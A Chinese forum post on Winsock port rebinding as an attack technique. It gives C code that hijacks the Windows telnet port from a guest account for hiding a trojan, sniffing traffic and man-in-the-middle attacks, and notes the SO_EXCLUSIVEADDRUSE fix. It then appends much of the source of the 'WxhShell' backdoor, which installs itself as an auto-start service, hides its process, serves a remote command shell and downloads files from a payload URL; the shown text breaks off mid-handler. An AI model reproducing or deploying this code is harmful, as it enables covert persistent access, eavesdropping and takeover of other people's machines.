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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ol%*3To  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b]g.>$[nX  
O: BP35z_F  
  saddr.sin_family = AF_INET; [7s5Vt|  
;Ok11wOw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?<LG(WY  
2iG(v._x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D@JHi'F  
6|dUz*Pr|\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #i ]@"R  
}> 1h+O  
  这意味着什么?意味着可以进行如下的攻击: ~IWi @m{  
yauP j&^R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Nm081ic2<  
z vYDE]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i ('EBO  
=4%C?(\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X%F9.<4  
RU >vnDaC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G[^G~U\+!  
&S-& 'ZAY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0,A?*CO  
Em]T.'y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !KlSw,&=.6  
CM#EA"9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 88*RlxU  
yR$_$N+E  
  #include ( gFA? aD<  
  #include jh?7+(Cw  
  #include Vlz T  
  #include    y-X'eCUz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pnG8c<  
  int main() /g9{zR [  
  { e S=k 48'U  
  WORD wVersionRequested; ]`kvq0Gyb  
  DWORD ret; J-ZM1HoB  
  WSADATA wsaData; ~^C7(g )  
  BOOL val; g`6wj|@ =W  
  SOCKADDR_IN saddr; cU6#^PFu  
  SOCKADDR_IN scaddr; QO>*3,(H,q  
  int err; 1c4%g-]7  
  SOCKET s; ).boe& .  
  SOCKET sc; %i "  
  int caddsize; 2Ee1mbZVw8  
  HANDLE mt; &e)p6Egl  
  DWORD tid;   mT>p:G  
  wVersionRequested = MAKEWORD( 2, 2 ); PmY:sJ{M  
  err = WSAStartup( wVersionRequested, &wsaData ); zn x_p /V  
  if ( err != 0 ) { 0X-2).n u  
  printf("error!WSAStartup failed!\n"); c\'pA^m 6  
  return -1; ri;M7rg`.{  
  } Zs{R O  
  saddr.sin_family = AF_INET; ykeUS zz2  
   Y_B 4s-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iL gt_@g  
4a|Fx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '9dtIW6E  
  saddr.sin_port = htons(23); N9PM.nbd%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [-gKkOT8E  
  { <khAc1"  
  printf("error!socket failed!\n"); UmE{>5Pt  
  return -1; Cr%r<*s  
  } _Xv/S_yW  
  val = TRUE; #G=QL(f>/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ft rw3OxN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C941 @I  
  { 7 tpZE+OX  
  printf("error!setsockopt failed!\n"); QX=;,tr  
  return -1; p4EItRZS  
  } M\6`2q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gc~h!%'.I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uPXqTkod  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &s;^q  
-c?wEqa~2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +"cyOC  
  { }_22 wjm~  
  ret=GetLastError(); z\Y^x 9  
  printf("error!bind failed!\n"); F.5b|&@  
  return -1; \KXEw2S  
  } z}tp0~C  
  listen(s,2); mO> M=2A  
  while(1) @<=#i  
  { z=_{jjs  
  caddsize = sizeof(scaddr); PI \,`^)y  
  //接受连接请求 o#) !b:/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  BZc-  
  if(sc!=INVALID_SOCKET) <'_GQM`G  
  { Lp)8SmN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D*gV S  
  if(mt==NULL) JW [\"`x!  
  { ;j>d"i36&  
  printf("Thread Creat Failed!\n"); ;Hb[gvl   
  break; 8m6nw0   
  } hb8XBBKR  
  } r(T/^<  
  CloseHandle(mt); _5w?v~65  
  } KAcri<^G  
  closesocket(s); l1Q+hz5"*U  
  WSACleanup(); $ ].k6,%{p  
  return 0; G)Bq?=P  
  }   o'C.,ic?C  
  DWORD WINAPI ClientThread(LPVOID lpParam) U hhmG+  
  { XWQ0V  
  SOCKET ss = (SOCKET)lpParam; >#U <#  
  SOCKET sc; z\8yB`8b^  
  unsigned char buf[4096]; MH;%Y"EI  
  SOCKADDR_IN saddr; dG?a"/MA  
  long num; ;6txTcn`=  
  DWORD val; ^ [[ b$h$  
  DWORD ret; *>p(]_s,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 },aWCvJL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~o'#AP#N~  
  saddr.sin_family = AF_INET; arQ %  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #*$@_  
  saddr.sin_port = htons(23); 7jH`_58  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~y H>Ko9F}  
  { [Um4\QvUx  
  printf("error!socket failed!\n"); m{.M,Lm:  
  return -1; )B$P#dP)i  
  } #]DZrD&q  
  val = 100; xqC<p`?4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?b7g9 G4  
  { Q_0x6]/!  
  ret = GetLastError(); h4\6h  
  return -1; '(X[ w=WXy  
  } b\;u9C2y'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3|+f si)x  
  { H..ZvGu  
  ret = GetLastError(); %s@S|< W  
  return -1; %"[dGB$S  
  } X/8iJ-KB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?wf+{x-dPP  
  { _6UAeZ*M  
  printf("error!socket connect failed!\n"); <I%9O:R  
  closesocket(sc); +aw>p_\  
  closesocket(ss); wV[V#KpX8-  
  return -1; k\#-6evT  
  } .83v~{n  
  while(1) -y*_.Ws9  
  { `$sY^EX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1H4Zgh U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /3[ 9{r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 42>m,fb2[  
  num = recv(ss,buf,4096,0); iqednk%  
  if(num>0) [x<6v}fRn  
  send(sc,buf,num,0); OW^2S_H5  
  else if(num==0) hJ[mf1je=  
  break; R=?po=  
  num = recv(sc,buf,4096,0); "c/s/$k//  
  if(num>0) -yAnn  
  send(ss,buf,num,0); [)SR $/A  
  else if(num==0) ^[,s_34V  
  break; ~x4B/zW?  
  } oCKM5AVWsv  
  closesocket(ss); Hg9.<|+yo  
  closesocket(sc); _0W;)v  
  return 0 ; i ,IM?+4  
  } KHlIK`r  
lke~>0;  
J/x@$'  
========================================================== +:,`sdv6o  
rFq@ ]t3q  
下边附上一个代码,,WXhSHELL W8,tl>(  
SE^b0ZV*x  
========================================================== t+ S~u^  
u.kYp  
#include "stdafx.h" G?ugMl}  
2b#(X'ob  
#include <stdio.h> M[K0t>ih  
#include <string.h> ;>Ca(Y2M  
#include <windows.h> /iUUM t'  
#include <winsock2.h> P YF.#@":&  
#include <winsvc.h> 9y^kb+  
#include <urlmon.h> ?cO8'4 bq  
L8dU (P  
#pragma comment (lib, "Ws2_32.lib") l7'{OB L  
#pragma comment (lib, "urlmon.lib") k%l_N)38  
!2Y!jz  
#define MAX_USER   100 // 最大客户端连接数 ]<q}WjXD'  
#define BUF_SOCK   200 // sock buffer G*(K UG>  
#define KEY_BUFF   255 // 输入 buffer `.>k)=F&  
 L%WME8PB  
#define REBOOT     0   // 重启 afY_9g!\  
#define SHUTDOWN   1   // 关机 *"5N>F[L  
$,KP]~?  
#define DEF_PORT   5000 // 监听端口 mLg{6qm(q  
7<3U?]0  
#define REG_LEN     16   // 注册表键长度 z+k=|RMau  
#define SVC_LEN     80   // NT服务名长度 7?MB8tJ5r4  
5c]}G.NV  
// 从dll定义API /^'Bgnez  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MyH[vE^b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q sg/ V]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5 o#<`_=J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M ?Ndy*]  
qx2E-PDL;<  
// wxhshell配置信息 |.(CIu~b  
struct WSCFG { W-z90k4Z5  
  int ws_port;         // 监听端口 i,#k}CNu  
  char ws_passstr[REG_LEN]; // 口令 $Ns,ts(ng  
  int ws_autoins;       // 安装标记, 1=yes 0=no rBD(2M  
  char ws_regname[REG_LEN]; // 注册表键名 2$ |]Vj*Zs  
  char ws_svcname[REG_LEN]; // 服务名 3I"NI.>*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N-2([v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FjZc#\^9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E.J 0fwyT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^sifEgG*d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dn ZzA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 > -y&$1  
s.yq}Q  
}; V#0 dGP-Z  
p^1zIC>F  
// default Wxhshell configuration PS=e\(6QC  
struct WSCFG wscfg={DEF_PORT, #wenX$UTh3  
    "xuhuanlingzhe", S \e& ?Y`  
    1, qKdS7SoS  
    "Wxhshell", :zdEq" )v  
    "Wxhshell", 2W^B{ZS;  
            "WxhShell Service", HDmx@E.@  
    "Wrsky Windows CmdShell Service", jzs.+dAg  
    "Please Input Your Password: ", IKi{Xh]\  
  1, 9u,8q:I.?  
  "http://www.wrsky.com/wxhshell.exe", KVB0IXZC~  
  "Wxhshell.exe" w 66 v\x~  
    }; u8YB)kG  
7tSJniB  
// 消息定义模块 S!;L F4VA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B<|VeU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mC i[Ps  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .u1X+P7  
char *msg_ws_ext="\n\rExit."; ]~-*hOcQ4  
char *msg_ws_end="\n\rQuit."; _1^8xFe2  
char *msg_ws_boot="\n\rReboot..."; mZ~qG5@/F  
char *msg_ws_poff="\n\rShutdown..."; }I]j&\  
char *msg_ws_down="\n\rSave to "; kE/`n],1U  
7J9l.cM3  
char *msg_ws_err="\n\rErr!"; Hm%g_Mt  
char *msg_ws_ok="\n\rOK!"; .'|mY$U~]  
 i"vawxm  
char ExeFile[MAX_PATH]; 9!9> ?Z  
int nUser = 0; \dRzS@l  
HANDLE handles[MAX_USER]; QyPg |#T2>  
int OsIsNt; X8/Tl \c  
' .B.V?7  
SERVICE_STATUS       serviceStatus; n*Q`g@`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kdp% !S%2  
55.;+B5L *  
// 函数声明 } h[>U  
int Install(void); o=pt_!i/  
int Uninstall(void); d%0+i/p  
int DownloadFile(char *sURL, SOCKET wsh); R7K!A %  
int Boot(int flag); y 'OlQ2U  
void HideProc(void); "EoDQT"0  
int GetOsVer(void); 3VmI0gsm.>  
int Wxhshell(SOCKET wsl); dY}pN"  
void TalkWithClient(void *cs); |6E .M1  
int CmdShell(SOCKET sock); )QmGsU}?  
int StartFromService(void); ^ [k0k(_  
int StartWxhshell(LPSTR lpCmdLine); 3{"byfO#%  
IU@_)I+6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }e 9!xA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?^ZXU0IkP  
[C1 LT2a  
// 数据结构和表定义 bAf,aV/C&|  
SERVICE_TABLE_ENTRY DispatchTable[] = 7+}JgUh  
{ fb .J$fX  
{wscfg.ws_svcname, NTServiceMain}, %Rp8{.t7  
{NULL, NULL} UVz/n68\k7  
}; IdPn%)>6  
bd!U)b(}OV  
// 自我安装 .WvlaPK  
int Install(void) fXO_g  
{ .NJ|p=fy  
  char svExeFile[MAX_PATH]; 9Bz0MUbrLl  
  HKEY key; @6 /yu>%  
  strcpy(svExeFile,ExeFile); xCWz\-;  
A\z`c e!  
// 如果是win9x系统,修改注册表设为自启动 xjo;kx\y^  
if(!OsIsNt) { -gS"pE^1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jin db#)bz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); igDG}q3jG  
  RegCloseKey(key); @%1IkvJV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MRfb[p3Cx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -DP*q3  
  RegCloseKey(key); 0VN7/=n|  
  return 0; ,_jC$  
    } @x1 %)1  
  } @o>EBZ7MS  
} 22 &'@C>  
else { )%mg(O8uL  
g5+7p@'fV  
// 如果是NT以上系统,安装为系统服务 S]^`woD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); { p;shs5  
if (schSCManager!=0) 2*[QZ9U[@  
{ ~i ,"87$[  
  SC_HANDLE schService = CreateService 0,_b)  
  ( ;o0#(xVz  
  schSCManager, %@?A_jS  
  wscfg.ws_svcname, zI^]esX!2_  
  wscfg.ws_svcdisp, kA4@`YCl  
  SERVICE_ALL_ACCESS, ,2L$G&?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *6Q|}b[qcD  
  SERVICE_AUTO_START, +r]zs^'  
  SERVICE_ERROR_NORMAL, {tw+#}T a  
  svExeFile, |7"$w%2  
  NULL, @PI%FV z~p  
  NULL,  fRB5U'  
  NULL, ^C/  
  NULL, ]kD"&&HV  
  NULL jV O{$j  
  ); $A2n{  
  if (schService!=0) &<3&'*ueW  
  { _ \D"E>oM  
  CloseServiceHandle(schService); Y- )x Tn  
  CloseServiceHandle(schSCManager); ${I*nh>=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u.,Q4u|!  
  strcat(svExeFile,wscfg.ws_svcname); .@#A|fgv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6cz/n8Mg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _c`K+o"3  
  RegCloseKey(key); e(?]SU|  
  return 0; os4{0Mxu  
    } u5B:^.:p  
  } Ag9?C*  
  CloseServiceHandle(schSCManager); OGOND,/R?/  
} [1_A8s){u  
} _,haD)1g~  
lk3=4|?zsE  
return 1; / 3!fA=+  
} tyh@ ^7  
]fBUT6  
// 自我卸载 :Y P#  
int Uninstall(void) .fAv*pUzU  
{ M}O}:1Par  
  HKEY key; wSEWwU[  
EON:B>2a  
if(!OsIsNt) { `d\r;cE%lm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W$0^(FH[  
  RegDeleteValue(key,wscfg.ws_regname); -0Cnp/Yj@  
  RegCloseKey(key); ~q+hV+fa>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &@% $2O.3  
  RegDeleteValue(key,wscfg.ws_regname); 8|6 4R:  
  RegCloseKey(key); >R\lqLILb,  
  return 0; l +*&:Q/  
  } U75Jp%bL  
} iK5_u2]Q  
} 9QQyl\  
else { b2,!g }I  
g[H',)A)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nKoiG*PI  
if (schSCManager!=0) |~!U4D\  
{ as*4UT3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -=`#fDvBn  
  if (schService!=0) 0@I S  
  { "ZwKk G  
  if(DeleteService(schService)!=0) { ,<-G<${  
  CloseServiceHandle(schService); #|[ M?3  
  CloseServiceHandle(schSCManager); 6eFp8bANN#  
  return 0; 7 aV%=_  
  } qpIC{'A.  
  CloseServiceHandle(schService); ntFT>g{B  
  } !|ak^GE:(%  
  CloseServiceHandle(schSCManager); 3ZEB  
} T*g:# ^4  
} +N`ua  
9h&R]yz;  
return 1; i4JqT\q  
} Gg Jf7ie4  
+M' H0-[  
// 从指定url下载文件 _{<seA  
int DownloadFile(char *sURL, SOCKET wsh) /!h;c$  
{ VTy9_~q  
  HRESULT hr; ^9Qy/Er'  
char seps[]= "/"; =X\^J  
char *token; &>d:R_Q]  
char *file; >NYW{(j  
char myURL[MAX_PATH]; wX  >*H  
char myFILE[MAX_PATH]; #$1Z  
k:jSbbQ  
strcpy(myURL,sURL); I[)%,jd  
  token=strtok(myURL,seps); Od f[*  
  while(token!=NULL) 7xRl9  
  { &xRo^iV?  
    file=token; Q></`QWpoB  
  token=strtok(NULL,seps); L:XC  
  } X+UJzR90  
*na?n2Yzt  
GetCurrentDirectory(MAX_PATH,myFILE); A,sr[Pa@  
strcat(myFILE, "\\"); V|(H|9  
strcat(myFILE, file); 8J$|NYv_b  
  send(wsh,myFILE,strlen(myFILE),0); #@<9S{F  
send(wsh,"...",3,0); [8tL"G6s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^[:p|U2mA  
  if(hr==S_OK) 1-lu\"H`  
return 0; nRyU]=-X  
else n]E?3UGD@W  
return 1; Cj~'Lhmv'T  
}=c85f~i  
} AbZKYF P  
aDO !  
// 系统电源模块 y=?)n\ f  
int Boot(int flag) /c uLc^(X  
{ lpz2 m\  
  HANDLE hToken; PRHCrHs  
  TOKEN_PRIVILEGES tkp; Fu!RhsW5j  
J8mdoVt  
  if(OsIsNt) { SkmT`*v@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :POj6j/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `BlI@6th  
    tkp.PrivilegeCount = 1; x)(|[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ep)>X@t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bv&;R  
if(flag==REBOOT) { t+9][Adf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ty8v 6J#  
  return 0; ")d`dj\o  
} d_IAs  
else { &mb{.=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y "/]|'p  
  return 0; ,7<f9 EVY  
} "'D=,*  
  } +HBd %1  
  else { 8F'x=lIO  
if(flag==REBOOT) { '&\kxNglJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h*-Pr8  
  return 0; \[y`'OD~  
} ~]QHk?[wc  
else { /5u<78GW1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D8$G`~hD  
  return 0; @nux9MX<9  
} v%q0OX>9X"  
} <yd{tD$A*  
ZpnxecJUJ  
return 1; S:O O0<W  
}  5~>z h  
>r !|sC  
// win9x进程隐藏模块 $m/)FnU/  
void HideProc(void) ZjF 4v  
{ oz,e/v8~  
s,]z[qB#$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ME*LH r,  
  if ( hKernel != NULL ) >k (C  
  { N<XNTf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E"5*Ei)^3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U H*r5o3  
    FreeLibrary(hKernel); d~i+ I5  
  } ~vyf4TF<#  
[5SD_dN  
return; >Z'NXha  
} / G7vwC  
 |'B7v i)  
// 获取操作系统版本 d>mo~  
int GetOsVer(void) NA~Vg8  
{ tP$<UKtU  
  OSVERSIONINFO winfo; [D\k^h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]GW]dM  
  GetVersionEx(&winfo); vkri+:S3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zcx`SC-0  
  return 1; e]zBf;9 J  
  else )8$=C#qC[  
  return 0; ^G}47(  
} tM'P m   
=Jyu4j *}  
// 客户端句柄模块 9-fLz?J  
int Wxhshell(SOCKET wsl) Xg;}R:g '  
{ }khV'6"'|  
  SOCKET wsh; KV0]m^@x  
  struct sockaddr_in client;  2*^j  
  DWORD myID; xD~5UER  
YwjKAyLU  
  while(nUser<MAX_USER) J^Wa8Q;9lX  
{ ^f4s"T  
  int nSize=sizeof(client); hYG6 pTCb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X:nN0p #  
  if(wsh==INVALID_SOCKET) return 1; "W955?4m  
W *),y:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L?mrba y  
if(handles[nUser]==0) JehrDC2N  
  closesocket(wsh); %D\[*  
else 3 :<WY&9  
  nUser++; l*d(;AR  
  } :LW4E9O=H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GLeK'0Q@  
h7lDHIQf  
  return 0; "hH.#5j  
} KUlp"{a`,K  
 Ac2n  
// 关闭 socket {Tq_7,8  
void CloseIt(SOCKET wsh) LnH?dy  
{ CYY=R'1:G{  
closesocket(wsh); '!!CeDy  
nUser--; ! |<Fo'U  
ExitThread(0); H4&lb}  
} L.*M&Ry  
/<|%yE&KhJ  
// 客户端请求句柄 U`,6 * MS  
void TalkWithClient(void *cs) A>o *t=5  
{ 5K>3My#  
+0nJ  
  SOCKET wsh=(SOCKET)cs; dMv=gdY  
  char pwd[SVC_LEN]; EyJJ0  
  char cmd[KEY_BUFF]; 5B3G @KR  
char chr[1]; \fz<.l]  
int i,j; A$Hfr8w1u  
dxMOn  
  while (nUser < MAX_USER) { 7:plQ !7^  
oAODp!_c  
if(wscfg.ws_passstr) { S2sQOM@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N4F.Y"R$(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); chM%]|gey  
  //ZeroMemory(pwd,KEY_BUFF); &^}1O:8e  
      i=0; a|t$l=|DD  
  while(i<SVC_LEN) { XDOY`N^L  
1 ySk;;3  
  // 设置超时 'YmIKIw  
  fd_set FdRead; w0rRSD4S8B  
  struct timeval TimeOut; f e\$@-  
  FD_ZERO(&FdRead); G\2 CR*  
  FD_SET(wsh,&FdRead); /Kql>$I  
  TimeOut.tv_sec=8; gY/"cq  
  TimeOut.tv_usec=0; h-q3U%R4}@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [9evz}X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %[Wh [zZy  
\XCe22x]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^c"jH'#.L  
  pwd=chr[0]; vdivq^%=a  
  if(chr[0]==0xd || chr[0]==0xa) { #rMlI3;  
  pwd=0; `2("gUCm  
  break; il4^zj82  
  } !/'t5~x[  
  i++; <J< {l  
    } f phv  
#+Ir>GU  
  // 如果是非法用户,关闭 socket jS]ru-5.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +%yfcyZ.  
} AYqX |  
ey7 f9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !;q&NHco  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _{I3i:f9X8  
q9KHmhUD  
while(1) { BO~ 0ON0  
HVR /7&g  
  ZeroMemory(cmd,KEY_BUFF); x nsLf?>]  
AifWf2$S  
      // 自动支持客户端 telnet标准   4KhV|#-;k  
  j=0; i1ixi\P{0  
  while(j<KEY_BUFF) { )B"jF>9)[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]sf7{lVT  
  cmd[j]=chr[0]; cLpYW7vZ[  
  if(chr[0]==0xa || chr[0]==0xd) { ~7*.6YnI  
  cmd[j]=0; |mxDjgq  
  break; !JHL\M>A5  
  } XKj|f`  
  j++; ]#)()6)2v  
    } BTqS'NuT  
! `   
  // 下载文件 ] {RDVA=]  
  if(strstr(cmd,"http://")) { ;w{tv($$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T"{>t  
  if(DownloadFile(cmd,wsh)) '.IW.{;$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #++lg{  
  else b[r8 e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PCHu #5j_a  
  } 132{# tG]  
  else { "h{q#~s  
kj#?whK6~  
    switch(cmd[0]) { .F4>p=r  
  GFj{K  
  // 帮助 cM(:xv  
  case '?': { ,k +IPkN+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CpUk Cgg  
    break; [\^ n=  
  } x[FJgI'r  
  // 安装 ~Z\8UsVN  
  case 'i': { c,np2myd  
    if(Install()) sJB;3"~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :KQ~Cb  
    else Y071Y:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ~^NtO  
    break; }MJy +Z8&  
    } w$3 ,A$8  
  // 卸载 py$Q  
  case 'r': { ~qiJR`Jj  
    if(Uninstall()) }*M6x;t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dN$0OS`s[  
    else e>} s;H,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J{.{f  
    break; 0.`/X66;V  
    } so,t   
  // 显示 wxhshell 所在路径 ,`'Qi%O  
  case 'p': { @6Y?\Wx$w  
    char svExeFile[MAX_PATH]; {{$Nqn,pH  
    strcpy(svExeFile,"\n\r"); %0S3V[4I  
      strcat(svExeFile,ExeFile); t URu0`](  
        send(wsh,svExeFile,strlen(svExeFile),0); 5bRJS70M  
    break; G)EU_UE 9  
    } 8zZvht*  
  // 重启 h{)kQLuzT  
  case 'b': { ep!Rf:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [;n9:Qxf  
    if(Boot(REBOOT)) +F R0(T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .p<:II:6  
    else { nD_GL  
    closesocket(wsh); |U:k,YH  
    ExitThread(0); @x*c1%wg  
    } L7n D|  
    break;  L O}@dL  
    } f}o\*|k_|  
  // 关机 ?h$NAL?  
  case 'd': { ef 8s<5"4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AHD=<7Rs  
